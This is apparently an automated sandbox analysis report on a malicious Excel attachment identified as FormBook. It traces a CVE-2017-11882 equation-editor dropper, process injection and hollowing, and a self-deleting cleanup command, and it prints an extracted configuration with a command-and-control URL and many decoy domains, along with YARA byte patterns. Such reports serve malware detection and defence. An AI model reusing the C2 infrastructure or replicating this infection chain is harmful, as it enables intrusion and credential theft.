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File Icon
Static OLE Info

General
OLE File "MT OCEAN STAR ISO 8217 2005.xlsx"
Indicators
Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64
General
Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112
General
Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200
General
Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76
General
Stream Path: EncryptedPackage, File Type: data, Stream Size: 2223464
General
Stream Path: EncryptionInfo, File Type: data, Stream Size: 224
General

Network Behavior
Snort IDS Alerts
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets

Code Manipulations
User Modules

Hook Summary
Processes

Statistics
Behavior

System Behavior
Analysis Process: EXCEL.EXE PID: 928 Parent PID: 584

General
File Activities

File Written

Registry Activities
Key Created
Key Value Created

Analysis Process: EQNEDT32.EXE PID: 1960 Parent PID: 584
General
File Activities
Registry Activities

Key Created

Analysis Process: vbc.exe PID: 2300 Parent PID: 1960
General
File Activities

File Created
File Read

Registry Activities
Key Created
Key Value Created

Analysis Process: vbc.exe PID: 2608 Parent PID: 2300
General
File Activities

File Read

Analysis Process: explorer.exe PID: 1388 Parent PID: 2608
General
File Activities

Analysis Process: raserver.exe PID: 2332 Parent PID: 1388
General
File Activities

File Read

Analysis Process: cmd.exe PID: 2820 Parent PID: 2332
General
File Activities

File Deleted

Disassembly
Code Analysis
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Analysis Report MT OCEAN STAR ISO 8217 2005.xlsx

Overview

General Information

Sample 
Name:

MT OCEAN STAR ISO 
8217 2005.xlsx

Analysis ID: 356585

MD5: 3ba4a9ceac60a4…

SHA1: 19b79bcd898263…

SHA256: ca4c055b60e84b…

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers ExploitingSigma detected: Droppers Exploiting……

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE cSigma detected: EQNEDT32.EXE c……

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQSigma detected: File Dropped By EQ……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener serviceConnects to a URL shortener service

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direcDrops PE files to the user root direc……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE fileOffice equation editor drops PE file

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts processOffice equation editor starts process……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables StarteSigma detected: Executables Starte……

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-ESigma detected: Execution in Non-E……

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious ProgramSigma detected: Suspicious Program……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whicAllocates memory within range whic……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE strDocument misses a certain OLE str……

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTTDownloads executable code via HTT……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directoryDrops PE files to the user directory

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file e

Drops files with a non-matching file eDrops files with a non-matching file e……

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

EXCEL.EXE (PID: 928 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 1960 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: 

A87236E214F6D42A65F5DEDAC816AEC8)
vbc.exe (PID: 2300 cmdline: 'C:\Users\Public\vbc.exe'  MD5: 2201881C6CC2DE12C71F906E43178EF9)

vbc.exe (PID: 2608 cmdline: {path} MD5: 2201881C6CC2DE12C71F906E43178EF9)

explorer.exe (PID: 1388 cmdline:  MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

raserver.exe (PID: 2332 cmdline: C:\Windows\SysWOW64\raserver.exe MD5: 0842FB9AC27460E2B0107F6B3A872FD5)

cmd.exe (PID: 2820 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Startup

Malware Configuration

Threatname: FormBook

Copyright null 2021 Page 4 of 42



{

  "C2 list": [

    "www.aone223.com/67d/"

  ],

  "decoy": [

    "initiationportal.com",

    "priority1fleet.com",

    "xn--c1abvlc0ba.xn--p1acf",

    "foto-golyh-devushek.com",

    "losangeles-nightlife.com",

    "mynewbandname.com",

    "iaiibhzsbw.net",

    "allwest-originals.com",

    "peakofgoodlife.com",

    "traeespana.com",

    "prizotinstagram.online",

    "powerd.net",

    "rutharroyo.com",

    "spreadtheaimee.com",

    "tomleefamily.com",

    "workingcompass.net",

    "quallateematerial.com",

    "davizion.com",

    "ashleeramdanfit.com",

    "gamers-evolution.com",

    "bohrabiz.com",

    "twigandbloomfloral.com",

    "nhdpartners.com",

    "wakedcma.com",

    "algulotomotiv.com",

    "kocaelikiralikvinc.com",

    "listenupfoundation.net",

    "studiozetamilano.com",

    "luckybluebird.net",

    "xigo100.com",

    "hattonpalacejewellery.com",

    "bolsasmariabonita.com",

    "didierjammet.com",

    "wndslve.com",

    "wiprideinc.com",

    "aktiv.plus",

    "americanseniorcarecorp.com",

    "calmbears.com",

    "gearsevenfitness.com",

    "naigves.com",

    "stremate.webcam",

    "awakenedbyowls.com",

    "pelican-foot.com",

    "t-c-o-t-c.com",

    "disinfectingcinci.com",

    "buyrealestatewithchris.com",

    "g-grid.net",

    "dodadungthongminh.asia",

    "prospect300.com",

    "rjutilities.com",

    "mylegalmavens.com",

    "talalmando.com",

    "localheroes.space",

    "writinglover.site",

    "brink100.com",

    "bim3dstudio.com",

    "absak-lab1.net",

    "torontodo.com",

    "repwebtools.com",

    "films4christians.com",

    "raptorroofingcompany.com",

    "lrrestoration.com",

    "zhongqinglvyou.com",

    "jangabeach.com"

  ]

}

Source Rule Description Author Strings

00000007.00000002.2352874272.00000000002A0000.0000
0040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright null 2021 Page 5 of 42



00000007.00000002.2352874272.00000000002A0000.0000
0040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000007.00000002.2352874272.00000000002A0000.0000
0040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x183f9:$sqlite3step: 68 34 1C 7B E1
0x1850c:$sqlite3step: 68 34 1C 7B E1
0x18428:$sqlite3text: 68 38 2A 90 C5
0x1854d:$sqlite3text: 68 38 2A 90 C5
0x1843b:$sqlite3blob: 68 53 D8 7F 8C
0x18563:$sqlite3blob: 68 53 D8 7F 8C

00000004.00000002.2161460601.0000000003339000.0000
0004.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000004.00000002.2161460601.0000000003339000.0000
0004.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x1c1bd0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x1c1e3a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x1ee1f0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x1ee45a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x1cd95d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 2
5 74 94
0x1f9f7d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x1cd449:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x1f9a69:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x1cda5f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1fa07f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x1cdbd7:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x1fa1f7:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x1c2852:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 
02 83 E3 0F C1 EA 06
0x1eee72:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 
02 83 E3 0F C1 EA 06
0x1cc6c4:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F
8
0x1f8ce4:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x1c354b:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1efb6b:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1d35ff:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1ffc1f:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1d4602:$sequence_9: 56 68 03 01 00 00 8D 85 95 F
E FF FF 6A 00

Click to see the 16 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

5.2.vbc.exe.400000.1.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

5.2.vbc.exe.400000.1.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14875:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14361:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14977:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14aef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x976a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x135dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa463:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1a517:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1b51a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

5.2.vbc.exe.400000.1.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x175f9:$sqlite3step: 68 34 1C 7B E1
0x1770c:$sqlite3step: 68 34 1C 7B E1
0x17628:$sqlite3text: 68 38 2A 90 C5
0x1774d:$sqlite3text: 68 38 2A 90 C5
0x1763b:$sqlite3blob: 68 53 D8 7F 8C
0x17763:$sqlite3blob: 68 53 D8 7F 8C

4.2.vbc.exe.340ea38.3.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Unpacked PEs

Copyright null 2021 Page 6 of 42



Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Signature Overview

• AV Detection

• Exploits

• Compliance

• Software Vulnerabilities

• Networking

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Persistence and Installation Behavior

• Boot Survival

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

AV Detection:

Found malware configuration

Yara detected FormBook

4.2.vbc.exe.340ea38.3.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0xec198:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0xec402:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x1187b8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x118a22:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0xf7f25:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x124545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 2
5 74 94
0xf7a11:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x124031:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0xf8027:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x124647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0xf819f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x1247bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xece1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02
83 E3 0F C1 EA 06
0x11943a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 
02 83 E3 0F C1 EA 06
0xf6c8c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x1232ac:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F
8
0xedb13:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x11a133:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0xfdbc7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x12a1e7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0xfebca:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 4 entries

Source Rule Description Author Strings
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Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Compliance:

Uses new MSVCR Dlls

Binary contains paths to debug symbols

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

C2 URLs / IPs found in malware configuration

Connects to a URL shortener service

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Office equation editor drops PE file

Boot Survival:

Drops PE files to the user root directory

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook
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Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Network
Effects

Spearphishing
Link 1

Shared
Modules 1

Path
Interception

Process
Injection 6 1 2

Rootkit 1 Credential
API
Hooking 1

Security Software
Discovery 1 2 1

Remote
Services

Credential
API
Hooking 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Exploitation for
Client
Execution 1 3

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Masquerading 1 2 1 LSASS
Memory

Virtualization/Sandbox
Evasion 3

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1 2

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Virtualization/Sandbox
Evasion 3

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-Application
Layer Protocol 2

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Disable or Modify
Tools 1

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application Layer
Protocol 1 2 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Process
Injection 6 1 2

LSA
Secrets

File and Directory
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Deobfuscate/Decode
Files or Information 1

Cached
Domain
Credentials

System Information
Discovery 1 1 3

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Obfuscated Files or
Information 3 1

DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly Used
Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Software Packing 1 Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application Layer
Protocol

Downgrade to
Insecure
Protocols

Behavior Graph
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Behavior Graph

ID: 356585

Sample: MT OCEAN STAR ISO 8217 2005.xlsx

Startdate: 23/02/2021

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Found malware configuration
Malicious sample detected
(through community Yara

rule)
12 other signatures

EQNEDT32.EXE

13

        started       

EXCEL.EXE

37 19

        started       

msnsndstdyyemkemafgk.dns.army

180.214.238.131, 49166, 80

VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN

Viet Nam

ow.ly

54.67.62.204, 49165, 80

AMAZON-02US

United States

C:\Users\user\AppData\Local\...\vbc[1], PE32

dropped

C:\Users\Public\vbc.exe, PE32

dropped

Office equation editor
starts processes (likely

CVE 2017-11882 or CVE-2018-0802)

vbc.exe

1 5

        started       

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

vbc.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

www.quallateematerial.com

216.239.32.21, 49168, 80

GOOGLEUS

United States

hattonpalacejewellery.com

34.102.136.180, 49169, 80

GOOGLEUS

United States

2 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

raserver.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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No Antivirus matches

No Antivirus matches

Source Detection Scanner Label Link Download

5.2.vbc.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

No Antivirus matches

Source Detection Scanner Label Link

www.mercadolivre.com.br/ 0% URL Reputation safe

www.mercadolivre.com.br/ 0% URL Reputation safe

www.mercadolivre.com.br/ 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

%s.com 0% URL Reputation safe

%s.com 0% URL Reputation safe

%s.com 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

cgi.search.biglobe.ne.jp/favicon.ico 0% Avira URL Cloud safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

buscar.ozu.es/ 0% Avira URL Cloud safe

busca.igbusca.com.br/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

